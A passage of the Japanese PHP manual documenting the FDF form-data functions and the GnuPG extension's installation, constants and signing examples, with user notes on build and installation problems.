キーの値を文字列で返します。

参考

  • fdf_set_status() - /STATUS キーの値を設定する

User Contributed Notes

There are no user contributed notes for this page.


フィールドの値を得る

  • ≪ fdf_get_status
  • fdf_get_version ≫
  • PHP Manual
  • FDF 関数
  • フィールドの値を得る

fdf_get_value

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_value — フィールドの値を得る

説明

fdf_get_value ( resource $fdf_document , string $fieldname , int $which = -1 ) : mixed

指定したフィールドの値を取得します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

fieldname

FDF フィールドの名前を表す文字列。

which

このオプションパラメータを渡すことで、配列フィールドの 要素が取得可能です。番号はゼロから始まります。配列以外のフィールドでは、 このオプションは無視されます。

返り値

フィールドの値を返します。

変更履歴

バージョン | 説明
4.3.0 | 配列のサポート、およびオプションのパラメータ which が追加されました。

参考

  • fdf_set_value() - フィールドの値を設定する

User Contributed Notes

mclinden at informed dot net 17-Sep-2002 02:35
(i filed a bug report/feature request for this on bugs.php.net and assigned it to myself hartmut@php.net)

The default behavior for the FDF Toolkit is to return an FDFErcNoValue for the FDFGetValue when the field exists but has no value.

Whether or not this is truly an error is debateable. It seems to become an issue in documents created by Acrobat 5 when optional fields are included in a form with required fields since the default behavior seems to be to populate the HTTP_FDF_DATA with the results of the FDFNextFieldName enumerator, which would include the fields which have no value.

This would not be a problem except that the PHP function fdf_get_value() does not specifically test for the FDFErcNoValue condition but, instead, tests for the more general FDFErcOK. If this value is not the result of the error code, the system issues warnings (the display of which could be turned off), but the broader question is, should this be a warning condition at all?

Put another way, should a return of FDFErcNoValue for FDFGetValue be considered an event worth generating a warning?


FDF API あるいはファイルのバージョンを取得する

  • ≪ fdf_get_value
  • fdf_header ≫
  • PHP Manual
  • FDF 関数
  • FDF API あるいはファイルのバージョンを取得する

fdf_get_version

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_version — FDF API あるいはファイルのバージョンを取得する

説明

fdf_get_version ( resource $fdf_document = ? ) : string

指定したドキュメントの FDF バージョン、 あるいはパラメータを指定しなかった場合はツールキット API のバージョンを返します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

返り値

バージョンを表す文字列を返します。 現在の FDF ツールキット 5.0 では API のバージョン番号は 5.0 で、 ドキュメントのバージョン番号は 1.2 1.3 あるいは 1.4 です。

参考

  • fdf_set_version() - FDF ファイルのバージョン番号を設定する

User Contributed Notes

There are no user contributed notes for this page.


FDF 固有の出力ヘッダをセットする

  • ≪ fdf_get_version
  • fdf_next_field_name ≫
  • PHP Manual
  • FDF 関数
  • FDF 固有の出力ヘッダをセットする

fdf_header

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVNf)

fdf_header — FDF 固有の出力ヘッダをセットする

説明

fdf_header ( ) : void

この関数は、簡便に FDF の出力に適当な HTTP ヘッダを付加できるよう 用意されており、Content-type: を application/vnd.fdf に設定します。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


次のフィールド名を得る

  • ≪ fdf_header
  • fdf_open_string ≫
  • PHP Manual
  • FDF 関数
  • 次のフィールド名を得る

fdf_next_field_name

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_next_field_name — 次のフィールド名を得る

説明

fdf_next_field_name ( resource $fdf_document , string $fieldname = ? ) : string

指定したフィールドの後のフィールドの名前を返します。 この名前をその他の関数で使用します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

fieldname

FDF フィールド名を表す文字列。 省略した場合は最初のフィールドとみなされます。

返り値

フィールド名を文字列で返します。

例

例1 FDF のすべてのフィールド名を検出する

<?php
$fdf = fdf_open($HTTP_FDF_DATA);
for ($field = fdf_next_field_name($fdf);
    $field != "";
    $field = fdf_next_field_name($fdf, $field)) {
    echo "field: $field\n";
}
?>

参考

  • fdf_get_value() - フィールドの値を得る

User Contributed Notes

There are no user contributed notes for this page.


文字列から FDF ドキュメントを読み込む

  • ≪ fdf_next_field_name
  • fdf_open ≫
  • PHP Manual
  • FDF 関数
  • 文字列から FDF ドキュメントを読み込む

fdf_open_string

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_open_string — 文字列から FDF ドキュメントを読み込む

説明

fdf_open_string ( string $fdf_data ) : resource

文字列からデータを読み込みます。

fdf_open_string() を $HTTP_FDF_DATA とあわせて使用することで、リモート クライアントからの FDF フォーム入力を処理することが可能です。

パラメータ

fdf_data

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

返り値

FDF ドキュメントハンドル、あるいはエラー時に false を返します。

例

例1 フォームデータへのアクセス

<?php
$fdf = fdf_open_string($HTTP_FDF_DATA);
/* ... */
fdf_close($fdf);
?>

参考

  • fdf_open() - FDF ドキュメントをオープンする
  • fdf_close() - FDF ドキュメントを閉じる
  • fdf_create() - 新規 FDF ドキュメントを作成する
  • fdf_save_string() - FDF ドキュメントを文字列として返す

User Contributed Notes

There are no user contributed notes for this page.


FDF ドキュメントをオープンする

  • ≪ fdf_open_string
  • fdf_remove_item ≫
  • PHP Manual
  • FDF 関数
  • FDF ドキュメントをオープンする

fdf_open

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_open — FDF ドキュメントをオープンする

説明

fdf_open ( string $filename ) : resource

フォームデータを含むファイルをオープンします。

fdf_open_string() を用いて、 PDF フォームの POST リクエストを処理することもできます。

パラメータ

filename

FDF ファイルへのパス。このファイルは、PDF フォームから返されたものか、 fdf_create() および fdf_save() で作成したものである必要があります。

返り値

FDF ドキュメントのハンドル、あるいはエラー時に false を返します。

例

例1 フォームデータへのアクセス

<?php
// FDF データをテンポラリファイルに保存します
$fdffp = fopen("test.fdf", "w");
fwrite($fdffp, $HTTP_FDF_DATA, strlen($HTTP_FDF_DATA));
fclose($fdffp);

// テンポラリファイルをオープンし、データを評価します
$fdf = fdf_open("test.fdf");
/* ... */
fdf_close($fdf);
?>

参考

  • fdf_open_string() - 文字列から FDF ドキュメントを読み込む
  • fdf_close() - FDF ドキュメントを閉じる
  • fdf_create() - 新規 FDF ドキュメントを作成する
  • fdf_save() - FDF ドキュメントを保存する

User Contributed Notes

There are no user contributed notes for this page.


フォームのターゲットフレームを設定する

  • ≪ fdf_open
  • fdf_save_string ≫
  • PHP Manual
  • FDF 関数
  • フォームのターゲットフレームを設定する

fdf_remove_item

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_remove_item — フォームのターゲットフレームを設定する

説明

fdf_remove_item ( resource $fdf_document , string $fieldname , int $item ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


FDF ドキュメントを文字列として返す

  • ≪ fdf_remove_item
  • fdf_save ≫
  • PHP Manual
  • FDF 関数
  • FDF ドキュメントを文字列として返す

fdf_save_string

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_save_string — FDF ドキュメントを文字列として返す

説明

fdf_save_string ( resource $fdf_document ) : string

FDF ドキュメントを文字列として返します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

返り値

ドキュメントを表す文字列、あるいはエラー時に false を返します。

例

例1 FDF の文字列での取得

<?php
$fdf = fdf_create();
fdf_set_value($fdf, "foo", "bar");
$str = fdf_save_string($fdf);
fdf_close($fdf);
echo $str;
?>

上の例の出力は以下となります。

%FDF-1.2
%a??O
1 0 obj
<<
/FDF << /Fields 2 0 R >>
>>
endobj
2 0 obj
[
<< /T (foo)/V (bar)>>
]
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

参考

  • fdf_open_string() - 文字列から FDF ドキュメントを読み込む
  • fdf_close() - FDF ドキュメントを閉じる
  • fdf_create() - 新規 FDF ドキュメントを作成する
  • fdf_save() - FDF ドキュメントを保存する

User Contributed Notes

There are no user contributed notes for this page.


FDF ドキュメントを保存する

  • ≪ fdf_save_string
  • fdf_set_ap ≫
  • PHP Manual
  • FDF 関数
  • FDF ドキュメントを保存する

fdf_save

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_save — FDF ドキュメントを保存する

説明

fdf_save ( resource $fdf_document , string $filename = ? ) : bool

FDF ドキュメントを保存します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

filename

指定した場合は、結果の FDF がここに書き込まれます。 それ以外の場合は、この関数は FDF をデフォルトの PHP 出力ストリームに書き込みます。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fdf_close() - FDF ドキュメントを閉じる
  • fdf_create() - 新規 FDF ドキュメントを作成する
  • fdf_save_string() - FDF ドキュメントを文字列として返す

User Contributed Notes

karsten at k-fish dot de 11-Apr-2003 10:18
The doc says that an empty file name will cause PHP to output the FDF to 'stdout'. I had no success on this (with PHP 4.2.3 and fdftk v5): no string, an empty string and null all returned a message complaining about 'wrong parameter count'.

So I used the way (saving to a file and using passthru) given as an example on the page describing fdf_create(), and added a uniqid(rand(),1) to the filename to avoid clashes. This worked well.


フィールドの外観を設定する

  • ≪ fdf_save
  • fdf_set_encoding ≫
  • PHP Manual
  • FDF 関数
  • フィールドの外観を設定する

fdf_set_ap

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_ap — フィールドの外観を設定する

説明

fdf_set_ap ( resource $fdf_document , string $field_name , int $face , string $filename , int $page_number ) : bool

フィールドの外観 (すなわち、/AP キーの値) を設定します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

field_name

face

FDFNormalAP、FDFRolloverAP および FDFDownAP のいずれかが使用可能です。

filename

page_number

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


FDF 文字エンコーディングを設定する

  • ≪ fdf_set_ap
  • fdf_set_file ≫
  • PHP Manual
  • FDF 関数
  • FDF 文字エンコーディングを設定する

fdf_set_encoding

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_encoding — FDF 文字エンコーディングを設定する

説明

fdf_set_encoding ( resource $fdf_document , string $encoding ) : bool

FDF ドキュメントの文字エンコーディングを設定します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

encoding

エンコーディング名。現在サポートしているのは "Shift-JIS"、"UHC"、 "GBK"、"BigFive" です。

空の文字列を指定すると、エンコーディングをデフォルトの PDFDocEncoding/Unicode スキームに設定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


FDF データを表示する PDF ドキュメントを設定する

  • ≪ fdf_set_encoding
  • fdf_set_flags ≫
  • PHP Manual
  • FDF 関数
  • FDF データを表示する PDF ドキュメントを設定する

fdf_set_file

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_file — FDF データを表示する PDF ドキュメントを設定する

説明

fdf_set_file ( resource $fdf_document , string $url , string $target_frame = ? ) : bool

フォームの結果を表示する PDF ドキュメントとして、もとのフォームとは別のものを指定します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

url

絶対 URL で指定する必要があります。

target_frame

このパラメータを使用して、ドキュメントを表示するフレームを指定します。 このパラメータのデフォルト値を fdf_set_target_frame() で指定することもできます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 FDF データを 2 番目のフォームに渡す

<?php
  /* Adobe FDF の content type を設定します */
  fdf_header();

  /* fdf を開始します */
  $fdf = fdf_create();

  /* "foo" フィールドに、値 "bar" を設定します */
  fdf_set_value($fdf, "foo", "bar");

  /* "fdf_form.pdf" を使用して fdf を表示することをクライアントに通知します */
  fdf_set_file($fdf, "http://www.example.com/fdf_form.pdf");

  /* fdf を出力します */
  fdf_save($fdf);

  /* 後始末を行います */
  fdf_close($fdf);
?>

参考

  • fdf_get_file() - /F キーの値を得る
  • fdf_set_target_frame() - フォームの表示対象となるフレームを設定する

User Contributed Notes

There are no user contributed notes for this page.


フィールドのフラグを設定する

  • ≪ fdf_set_file
  • fdf_set_javascript_action ≫
  • PHP Manual
  • FDF 関数
  • フィールドのフラグを設定する

fdf_set_flags

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_flags — フィールドのフラグを設定する

説明

fdf_set_flags ( resource $fdf_document , string $fieldname , int $whichFlags , int $newFlags ) : bool

指定したフィールドのフラグを設定します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

fieldname

FDF フィールド名を表す文字列。

whichFlags

newFlags

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fdf_set_opt() - フィールドのオプションを設定する

User Contributed Notes

There are no user contributed notes for this page.


フィールドの javascript アクションを設定する

  • ≪ fdf_set_flags
  • fdf_set_on_import_javascript ≫
  • PHP Manual
  • FDF 関数
  • フィールドの javascript アクションを設定する

fdf_set_javascript_action

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_javascript_action — フィールドの javascript アクションを設定する

説明

fdf_set_javascript_action ( resource $fdf_document , string $fieldname , int $trigger , string $script ) : bool

指定したフィールドの javascript アクションを設定します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

fieldname

FDF フィールド名を表す文字列。

trigger

script

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fdf_set_submit_form_action() - フィールドの投稿フォームアクションを設定する

User Contributed Notes

There are no user contributed notes for this page.


Acrobat が FDF をオープンした際に実行される javascript のコードを追加する

  • ≪ fdf_set_javascript_action
  • fdf_set_opt ≫
  • PHP Manual
  • FDF 関数
  • Acrobat が FDF をオープンした際に実行される javascript のコードを追加する

fdf_set_on_import_javascript

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_on_import_javascript — Acrobat が FDF をオープンした際に実行される javascript のコードを追加する

説明

fdf_set_on_import_javascript ( resource $fdf_document , string $script , bool $before_data_import ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

参考

  • fdf_add_doc_javascript() - FDF ドキュメントに javascript コードを追加する
  • fdf_set_javascript_action() - フィールドの javascript アクションを設定する

User Contributed Notes

Jake Marble 17-Jul-2007 10:20
This example would cause a browser to open 'a.pdf' and pop up an alert window AFTER setting a field value:

<?php
header('Content-type: application/vnd.fdf');

$fdf = fdf_create();

fdf_set_file($fdf, 'http://www.example.com/path/to/a.pdf');
fdf_set_value($fdf, 'field1', 'my value');
fdf_set_on_import_javascript($fdf, 'app.alert("executing javascript");', false);

fdf_save($fdf);
fdf_close($fdf);
?>

Or, to execute the javascript BEFORE setting the field value, just change false to true:

<?php
header('Content-type: application/vnd.fdf');

$fdf = fdf_create();

fdf_set_file($fdf, 'http://www.example.com/path/to/a.pdf');
fdf_set_value($fdf, 'field1', 'my value');
fdf_set_on_import_javascript($fdf, 'app.alert("executing javascript");', true);

fdf_save($fdf);
fdf_close($fdf);
?>


フィールドのオプションを設定する

  • ≪ fdf_set_on_import_javascript
  • fdf_set_status ≫
  • PHP Manual
  • FDF 関数
  • フィールドのオプションを設定する

fdf_set_opt

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_opt — フィールドのオプションを設定する

説明

fdf_set_opt ( resource $fdf_document , string $fieldname , int $element , string $str1 , string $str2 ) : bool

指定したフィールドのオプションを設定します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

fieldname

FDF フィールド名を表す文字列。

element

str1

str2

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fdf_set_flags() - フィールドのフラグを設定する

User Contributed Notes

ceo at l-i-e dot com 28-Jul-2003 05:01
For a nice example of how this works to populate a list box dynamically, see this URL:

http://www.fooassociates.com/phpfer/html/rn20re282.html


/STATUS キーの値を設定する

  • ≪ fdf_set_opt
  • fdf_set_submit_form_action ≫
  • PHP Manual
  • FDF 関数
  • /STATUS キーの値を設定する

fdf_set_status

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_status — /STATUS キーの値を設定する

説明

fdf_set_status ( resource $fdf_document , string $status ) : bool

/STATUS キーの値を設定します。 クライアントが FDF とともにステータスセットを受信すると、その内容を アラートボックスに表示します

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

status

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fdf_get_status() - /STATUS キーの値を得る

User Contributed Notes

There are no user contributed notes for this page.


フィールドの投稿フォームアクションを設定する

  • ≪ fdf_set_status
  • fdf_set_target_frame ≫
  • PHP Manual
  • FDF 関数
  • フィールドの投稿フォームアクションを設定する

fdf_set_submit_form_action

(PHP 4 >= 4.0.2, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_submit_form_action — フィールドの投稿フォームアクションを設定する

説明

fdf_set_submit_form_action ( resource $fdf_document , string $fieldname , int $trigger , string $script , int $flags ) : bool

指定したフィールドの投稿フォームアクションを設定します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

fieldname

FDF フィールド名を表す文字列。

trigger

script

flags

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fdf_set_javascript_action() - フィールドの javascript アクションを設定する

User Contributed Notes

There are no user contributed notes for this page.


フォームの表示対象となるフレームを設定する

  • ≪ fdf_set_submit_form_action
  • fdf_set_value ≫
  • PHP Manual
  • FDF 関数
  • フォームの表示対象となるフレームを設定する

fdf_set_target_frame

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_target_frame — フォームの表示対象となるフレームを設定する

説明

fdf_set_target_frame ( resource $fdf_document , string $frame_name ) : bool

fdf_save_file() で定義した PDF の結果を出力する 対象のフレームを設定します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

frame_name

フレーム名を表す文字列。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fdf_save_file()

User Contributed Notes

There are no user contributed notes for this page.


フィールドの値を設定する

  • ≪ fdf_set_target_frame
  • fdf_set_version ≫
  • PHP Manual
  • FDF 関数
  • フィールドの値を設定する

fdf_set_value

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_value — フィールドの値を設定する

説明

fdf_set_value ( resource $fdf_document , string $fieldname , mixed $value , int $isName = ? ) : bool

指定したフィールドに値 value を設定します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

fieldname

FDF フィールド名を表す文字列。

value

このパラメータは、配列形式でない限り文字列で保存されます。 配列の場合は、配列のすべての要素が配列として保存されます。

isName

注意:

FDF ツールキットの古いバージョンでは、最後のパラメータは フィールドの値を PDF Name に変換する (= 1) か、PDF String に設定する (= 0) かを定義します。

ツールキットの現在のバージョン 5.0 では、もはやこのパラメータは 使用されません。PHP 4.3 以降、互換性を確保するためにこのパラメータが オプションとして残されていますが、内部ではこのパラメータは無視されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
4.3.0 | value で配列をサポートするようになりました。

参考

  • fdf_get_value() - フィールドの値を得る
  • fdf_remove_item() - フォームのターゲットフレームを設定する

User Contributed Notes

There are no user contributed notes for this page.


FDF ファイルのバージョン番号を設定する

  • ≪ fdf_set_value
  • GnuPG ≫
  • PHP Manual
  • FDF 関数
  • FDF ファイルのバージョン番号を設定する

fdf_set_version

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_version — FDF ファイルのバージョン番号を設定する

説明

fdf_set_version ( resource $fdf_document , string $version ) : bool

指定したドキュメントの FDF バージョンを version に設定します。

この拡張モジュールが提供する機能のうちのいくつかは、新しいバージョンの FDF でのみ動作します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

version

バージョンを表す文字列。 現在の FDF ツールキット 5.0 では、これは 1.2、 1.3 あるいは 1.4 となります。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fdf_get_version() - FDF API あるいはファイルのバージョンを取得する

User Contributed Notes

There are no user contributed notes for this page.


GNU Privacy Guard

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • テキストへの署名
  • GnuPG 関数
    • gnupg_adddecryptkey — 復号のためのキーを追加する
    • gnupg_addencryptkey — 暗号化のためのキーを追加する
    • gnupg_addsignkey — 署名のためのキーを追加する
    • gnupg_cleardecryptkeys — 事前に復号のために設定されたすべてのキーを削除する
    • gnupg_clearencryptkeys — 事前に暗号化のために設定されたすべてのキーを削除する
    • gnupg_clearsignkeys — 事前に署名のために設定されたすべてのキーを削除する
    • gnupg_decrypt — 指定されたテキストを復号する
    • gnupg_decryptverify — 指定されたテキストを復号し、検証する
    • gnupg_encrypt — 指定したテキストを暗号化する
    • gnupg_encryptsign — 指定したテキストを暗号化し、署名する
    • gnupg_export — キーをエクスポートする
    • gnupg_geterror — 関数が失敗した場合にエラー文字列を返す
    • gnupg_getprotocol — すべての操作で現在アクティブなプロトコルを返す
    • gnupg_import — キーをインポートする
    • gnupg_init — 接続を初期化する
    • gnupg_keyinfo — 指定したパターンに一致するすべてのキーについての情報を配列で返す
    • gnupg_setarmor — armor 形式を切り替える
    • gnupg_seterrormode — エラー報告モードを設定する
    • gnupg_setsignmode — 署名方式を設定する
    • gnupg_sign — 指定したテキストに署名する
    • gnupg_verify — 署名済みテキストを検証する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このモジュールにより、» gnupg を扱うことが可能となります。

User Contributed Notes

There are no user contributed notes for this page.


要件

このエクステンションは » gpgme library を必要とします。

User Contributed Notes

bill dot rex at charter dot net 04-Aug-2013 03:58
gnupg-1.3.3 is now out which does correctly build again PHP 5.4.x and 5.5.x
jimjag at gmail dot com 28-Jun-2013 09:13
gnupg-1.3.2 (the latest) does not build under PHP 5.4.x or PHP 5.5.x... there are numerous suggested patches but nothing official.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/gnupg.

User Contributed Notes

Mahbub Kabir 08-Apr-2014 11:32
I tried followings on Debian Squeeze and it worked fine

apt-get install libgpgme11-dev
pecl install gnupg

create a new file under conf.d folder and add following lines

; configuration for gnupg module
extension=gnupg.so

Reload apache configuration
/etc/init.d/apache2 reload

Check PHP Info and you should see gnupg

Hope this helps.
cam dot metzke at gmail dot com 01-Nov-2013 08:14
For the folks in Debian Wheezy who are having a bit of trouble
heres a link to to a .deb file ( I use it ) for amd64 users

http://users.on.net/~cam.metzke/Debian%20Packages/Wheezy/gnupg/PECL-gnupg/

Anyway I built it for the community, hope it helps :)
Jane Doe 23-Apr-2013 12:03
Hi -

By default on Ubuntu 12.04 LTS gnupg needs to write to .gnupg in the home directory of the user running PHP (so for a web site this is www-data). You might need to make a ~/.gnupg for www-data and chown/chmod it correctly or everything will fail.
Dominik Sommer 13-Nov-2012 05:04
For Ubuntu 12.04, these are the steps:
1. Install packages: gnupg libgpg-error-dev libassuan-dev
2. Download GPGME library from ?http://www.gnupg.org/download/index.en.html#gpgme
3. Extract, then run
   configure
   make && sudo make install
4. Install PECL extension
   sudo pecl install gnupg
5. Add to php.ini
   extension=gnupg.so
frozenfire at php dot net 21-Feb-2012 02:36
Here are instructions for how to resolve the issue where you encounter this error:

/usr/include/gpgme.h:80:2: error: #error GPGME was compiled with _FILE_OFFSET_BITS = 64, please see the section "Largefile support (LFS)" in the GPGME manual.

This is a result of the gnupg extension currently lacking largefile support. The solution is fairly simple.

pecl download gnupg
tar -zxf gnupg-1.3.2.tgz
cd gnupg-1.3.2

Open the file config.m4 in an editor, and add "AC_SYS_LARGEFILE" to a new line at the very end of the file, then save.

phpize
./configure
make
make install

Now simply add extension=gnupg.so to your php.ini, and the extension should work.
Heath 07-Oct-2010 07:38
On Debian 5.05 (Lenny) I needed to install libgpgme11-dev
mk at wintermute dot at 04-Feb-2009 03:49
Quick installation guide on Fedora 10:

Needed:
- c++ compiler
- php-pear
- gnupg
- libgpg-error
- gpgme
- gpgme-devel
- php-devel

Install with:
$ pecl install gnupg

Add an entry to /etc/php.ini:
extension=gnupg.so

Restart Apache > you're done.
sma dot azar at gmail dot com 02-Feb-2009 10:10
After spending so much time I could only install it on Linux and not Windows. There is very little instructions on the net about installation of this module, so I am going to write a small instructions that should help a straightforward installation on Linux without so much trouble.

Step 1: you will need a C++ compiler on your machine. For being sure try this command in the terminal:
<?php
sudo apt-get install g++
?>
Obviously you need GnuPG itself, so try:
<?php
sudo apt-get install gnupg
?>
Step 2: you will need "Libgpg-Error" downloaded and installed on your machine.
2-1: Download the code from http://www.gnupg.org/download/#libgpg-error
2-2: Extract it to a directory. In the terminal, change the directory to the Libgpg-error directory.
2-3: Configure the package for building and installation with below command:
<?php
./configure
?>
2-4: In the same directory make it with below command:
<?php
sudo make
?>
2-5: In the same directory install it with below command:
<?php
sudo make install
?>

Step 3: you will need "GnuPG Made Easy" (GPGME) downloaded and installed on your machine. Some sources will tell you that you can "apt-get install" it, but actually you cannot. So do it like the latter:
3-1: Download the source code from http://www.gnupg.org/download/#gpgme
3-2: Extract it to a directory. In the terminal, change the directory to the GPGME directory.
3-3: Configure the package for building and installation with below command:
<?php
./configure
?>
3-4: In the same directory make it with below command:
<?php
sudo make
?>
3-5: In the same directory install it with below command:
<?php
sudo make install
?>

Step 4: Given that you have a LAMP server already and have php installed, you will need "pear" and "php source codes". To add them use below commands:
<?php
sudo apt-get install php5-dev
sudo apt-get install php-pear
?>

Step 5: Now you can install GNU Privacy Guard for php using PECL command:
<?php
 sudo pecl install gnupg
?>


定義済み定数

GNUPG_SIG_MODE_NORMAL (int)
GNUPG_SIG_MODE_DETACH (int)
GNUPG_SIG_MODE_CLEAR (int)
GNUPG_VALIDITY_UNKNOWN (int)
GNUPG_VALIDITY_UNDEFINED (int)
GNUPG_VALIDITY_NEVER (int)
GNUPG_VALIDITY_MARGINAL (int)
GNUPG_VALIDITY_FULL (int)
GNUPG_VALIDITY_ULTIMATE (int)
GNUPG_PROTOCOL_OpenPGP (int)
GNUPG_PROTOCOL_CMS (int)
GNUPG_SIGSUM_VALID (int)
GNUPG_SIGSUM_GREEN (int)
GNUPG_SIGSUM_RED (int)
GNUPG_SIGSUM_KEY_REVOKED (int)
GNUPG_SIGSUM_KEY_EXPIRED (int)
GNUPG_SIGSUM_KEY_MISSING (int)
GNUPG_SIGSUM_SIG_EXPIRED (int)
GNUPG_SIGSUM_CRL_MISSING (int)
GNUPG_SIGSUM_CRL_TOO_OLD (int)
GNUPG_SIGSUM_BAD_POLICY (int)
GNUPG_SIGSUM_SYS_ERROR (int)
GNUPG_ERROR_WARNING (int)
GNUPG_ERROR_EXCEPTION (int)
GNUPG_ERROR_SILENT (int)

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • テキストへの署名

User Contributed Notes

There are no user contributed notes for this page.


テキストへの署名

この例は、指定したテキストに署名をします。

例1 gnupg での署名の例 (手続き型)

<?php
// gnupg を初期化します
$res = gnupg_init();
// 必須ではありません。Clearsign はデフォルト値です
gnupg_setsignmode($res,GNUPG_SIG_MODE_CLEAR);
// 署名のためのキーを、パスフレーズ 'test' で追加します
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
// 署名します
$signed = gnupg_sign($res,"just a test");
echo $signed;
?>

例2 gnupg での署名の例 (オブジェクト指向)

<?php
// 新しいクラス
$gnupg = new gnupg();
// 必須ではありません。Clearsign はデフォルト値です
$gnupg->setsignmode(gnupg::SIG_MODE_CLEAR);
// 署名のためのキーを、パスフレーズ 'test' で追加します
$gnupg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
// 署名します
$signed = $gnupg->sign("just a test");
echo $signed;
?>

例3 keylistiterator

この拡張モジュールでは、キーリングの内容を繰り返し処理することも可能です。

<?php
// 'example' にマッチするキーを抜き出して繰り返し処理をするイテレータを生成します
$iterator = new gnupg_keylistiterator("example");
foreach($iterator as $fingerprint => $userid){
    echo $fingerprint." -> ".$userid."\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


GnuPG 関数

注意

この拡張モジュールは、現在のユーザーのキーリングを使用します。キーリングは、 通常は ~./.gnupg/ にあります。別の場所を指定するには、環境変数 GNUPGHOME にキーリングへのパスを格納します。その詳細な方法については putenv を参照ください。

キーを特定する設定項目を必要とする関数も存在します。この設定項目は、何らかの ユニークなキー (ユーザー ID、キー ID、フィンガープリント、...) を参照します。 このドキュメントでは、すべての例でフィンガープリントを使用しています。

注意:

ドキュメントで明示されている関数 (resource を用いるもの) を使う以外に、 gnupg オブジェクトによるオブジェクト指向型の方法を使うこともできます。

目次

  • gnupg_adddecryptkey — 復号のためのキーを追加する
  • gnupg_addencryptkey — 暗号化のためのキーを追加する
  • gnupg_addsignkey — 署名のためのキーを追加する
  • gnupg_cleardecryptkeys — 事前に復号のために設定されたすべてのキーを削除する
